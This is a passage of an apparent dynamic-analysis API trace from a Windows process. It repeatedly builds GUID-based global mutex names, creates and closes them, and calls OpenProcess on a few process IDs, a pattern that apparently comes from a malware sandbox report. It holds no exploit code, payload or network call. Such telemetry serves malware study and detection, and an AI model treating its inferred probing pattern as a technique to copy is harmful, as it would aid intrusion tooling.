bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0128.421] GetLastError () returned 0x0 [0128.421] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0128.421] CloseHandle (hObject=0x6cc) returned 1 [0128.430] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0128.430] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0128.430] GetLastError () returned 0xb7 [0128.430] CloseHandle (hObject=0x6cc) returned 1 [0128.542] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0128.542] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0128.542] GetLastError () returned 0xb7 [0128.542] CloseHandle (hObject=0x6cc) returned 1 [0128.542] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0128.542] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0128.542] GetLastError () returned 0xb7 [0128.542] CloseHandle (hObject=0x6cc) returned 1 [0128.543] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0128.543] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0128.543] GetLastError () returned 0x0 [0128.543] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0128.543] CloseHandle (hObject=0x6cc) returned 1 [0128.543] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0128.543] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0128.543] GetLastError () returned 0x0 [0128.543] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0128.543] CloseHandle (hObject=0x6cc) returned 1 [0128.544] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0128.544] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0128.544] GetLastError () returned 0xb7 [0128.544] CloseHandle (hObject=0x6cc) returned 1 [0128.544] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0128.544] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0128.544] GetLastError () returned 0x0 [0128.544] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0128.544] CloseHandle (hObject=0x6cc) returned 1 [0128.551] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0128.551] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0128.551] GetLastError () returned 0xb7 [0128.551] CloseHandle (hObject=0x6cc) returned 1 [0128.668] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0128.668] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0128.668] GetLastError () returned 0xb7 [0128.668] CloseHandle (hObject=0x6cc) returned 1 [0128.668] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0128.668] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0128.668] GetLastError () returned 0xb7 [0128.668] CloseHandle (hObject=0x6cc) returned 1 [0128.669] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0128.669] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0128.669] GetLastError () returned 0x0 [0128.669] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0128.669] CloseHandle (hObject=0x6cc) returned 1 [0128.670] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0128.670] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0128.670] GetLastError () returned 0x0 [0128.670] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0128.670] CloseHandle (hObject=0x6cc) returned 1 [0128.670] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0128.670] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0128.670] GetLastError () returned 0xb7 [0128.670] CloseHandle (hObject=0x6cc) returned 1 [0128.671] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0128.671] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0128.671] GetLastError () returned 0x0 [0128.671] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0128.671] CloseHandle (hObject=0x6cc) returned 1 [0128.680] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0128.680] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0128.680] GetLastError () returned 0xb7 [0128.680] CloseHandle (hObject=0x6cc) returned 1 [0128.793] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0128.793] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0128.793] GetLastError () returned 0xb7 [0128.793] CloseHandle (hObject=0x6cc) returned 1 [0128.793] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0128.793] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0128.793] GetLastError () returned 0xb7 [0128.793] CloseHandle (hObject=0x6cc) returned 1 [0128.794] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0128.794] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0128.794] GetLastError () returned 0x0 [0128.794] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0128.794] CloseHandle (hObject=0x6cc) returned 1 [0128.794] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0128.794] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0128.794] GetLastError () returned 0x0 [0128.794] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0128.794] CloseHandle (hObject=0x6cc) returned 1 [0128.795] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0128.795] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0128.795] GetLastError () returned 0xb7 [0128.795] CloseHandle (hObject=0x6cc) returned 1 [0128.795] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0128.795] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0128.795] GetLastError () returned 0x0 [0128.795] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0128.795] CloseHandle (hObject=0x6cc) returned 1 [0128.805] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0128.805] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0128.805] GetLastError () returned 0xb7 [0128.805] CloseHandle (hObject=0x6cc) returned 1 [0128.916] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0128.916] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0128.916] GetLastError () returned 0xb7 [0128.916] CloseHandle (hObject=0x6cc) returned 1 [0128.917] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0128.917] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0128.917] GetLastError () returned 0xb7 [0128.917] CloseHandle (hObject=0x6cc) returned 1 [0128.917] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0128.917] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0128.917] GetLastError () returned 0x0 [0128.917] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0128.917] CloseHandle (hObject=0x6cc) returned 1 [0128.918] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0128.918] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0128.918] GetLastError () returned 0x0 [0128.918] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0128.918] CloseHandle (hObject=0x6cc) returned 1 [0128.918] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0128.918] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0128.918] GetLastError () returned 0xb7 [0128.918] CloseHandle (hObject=0x6cc) returned 1 [0128.918] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0128.918] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0128.918] GetLastError () returned 0x0 [0128.918] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0128.918] CloseHandle (hObject=0x6cc) returned 1 [0128.925] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0128.925] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0128.925] GetLastError () returned 0xb7 [0128.925] CloseHandle (hObject=0x6cc) returned 1 [0129.041] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0129.041] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0129.041] GetLastError () returned 0xb7 [0129.041] CloseHandle (hObject=0x6cc) returned 1 [0129.042] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0129.042] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0129.042] GetLastError () returned 0xb7 [0129.042] CloseHandle (hObject=0x6cc) returned 1 [0129.042] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0129.042] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0129.042] GetLastError () returned 0x0 [0129.042] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0129.042] CloseHandle (hObject=0x6cc) returned 1 [0129.043] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0129.043] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0129.043] GetLastError () returned 0x0 [0129.043] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0129.043] CloseHandle (hObject=0x6cc) returned 1 [0129.043] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0129.043] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0129.043] GetLastError () returned 0xb7 [0129.043] CloseHandle (hObject=0x6cc) returned 1 [0129.043] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0129.043] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0129.043] GetLastError () returned 0x0 [0129.043] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0129.044] CloseHandle (hObject=0x6cc) returned 1 [0129.051] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0129.051] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0129.051] GetLastError () returned 0xb7 [0129.051] CloseHandle (hObject=0x6cc) returned 1 [0129.166] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0129.166] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0129.166] GetLastError () returned 0xb7 [0129.166] CloseHandle (hObject=0x6cc) returned 1 [0129.166] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0129.166] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0129.166] GetLastError () returned 0xb7 [0129.166] CloseHandle (hObject=0x6cc) returned 1 [0129.167] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0129.167] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0129.167] GetLastError () returned 0x0 [0129.167] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0129.167] CloseHandle (hObject=0x6cc) returned 1 [0129.167] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0129.167] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0129.167] GetLastError () returned 0x0 [0129.167] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0129.167] CloseHandle (hObject=0x6cc) returned 1 [0129.168] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0129.168] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, 